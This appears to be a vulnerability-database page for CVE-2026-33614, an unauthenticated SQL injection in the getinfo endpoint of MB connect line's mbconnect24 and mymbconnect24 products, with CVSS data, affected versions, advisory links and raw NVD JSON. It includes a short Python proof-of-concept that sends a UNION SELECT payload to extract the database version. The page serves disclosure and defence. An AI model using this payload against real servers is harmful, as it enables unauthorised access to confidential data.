Security Vulnerability Report
中文
CVE-2026-33614 CVSS 7.5 HIGH

CVE-2026-33614

Published: 2026-04-02 10:16:17
Last Modified: 2026-04-16 15:45:35

Description

An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getinfo endpoint due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
具体版本信息请参考厂商公告 VDE-2026-030

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target-ip:port/api/getinfo" # Malicious payload to test SQL Injection # Attempting to extract database version via UNION SELECT payload = { "id": "1' UNION SELECT NULL, version(), NULL-- -" } try: # Send request to the vulnerable endpoint response = requests.get(target_url, params=payload, timeout=10) # Check if request was successful if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response Content:") print(response.text) # Analyze response for signs of SQL injection (e.g., database version in output) if "mysql" in response.text.lower() or "postgresql" in response.text.lower(): print("[!] Potential SQL Injection vulnerability confirmed.") else: print("[-] Vulnerability not confirmed or error-based blind injection required.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33614", "sourceIdentifier": "[email protected]", "published": "2026-04-02T10:16:16.723", "lastModified": "2026-04-16T15:45:35.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getinfo endpoint due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "FF88F461-51FB-482C-A406-07F72FC10D79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "36E8693F-94C4-46A4-BD83-D87B71B89F12"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-030", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mbconnectline.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-030.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}